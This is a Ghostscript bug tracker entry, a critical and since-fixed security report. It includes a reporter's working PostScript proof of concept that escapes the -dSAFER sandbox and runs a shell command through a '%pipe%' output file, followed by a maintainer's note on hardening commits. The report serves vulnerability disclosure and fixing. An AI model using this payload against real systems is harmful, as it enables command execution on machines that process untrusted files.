| Summary: | .trysetparams stopped proc can itself stop, leaving page device in insecure state | ||
|---|---|---|---|
| Product: | Ghostscript | Reporter: | Tavis Ormandy <taviso> |
| Component: | Security (public) | Assignee: | Chris Liddell (chrisl) <chris.liddell> |
| Status: | RESOLVED FIXED | ||
| Severity: | critical | CC: | scorneli |
| Priority: | P1 | ||
| Version: | unspecified | ||
| Hardware: | PC | ||
| OS: | Windows NT | ||
| See Also: |
https://bugs.ghostscript.com/show_bug.cgi?id=699654 https://bugs.ghostscript.com/show_bug.cgi?id=699687 https://bugs.ghostscript.com/show_bug.cgi?id=699714 |
||
| Customer: | Word Size: | --- | |
|
Description
Tavis Ormandy
2018-09-05 13:25:04 UTC
I got it to work, this still reproduces in HEAD (gs -dSAFER -sDEVICE=ppmraw):
currentpagedevice /PageSize get 0 (foobar) put
a0
% fill up the stack with junk
0 1 300360 {} for
{ grestore } stopped clear
(ppmraw) selectdevice
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage
Adjusting priority to Critical
Hmm, I must admit, I though we no longer enforced a hard limit on the stack size - I thought it was only limited by memory... I've pushed changes to harden the fix against stack overflows: http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=13418541a5ae http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=643b24dbd002 |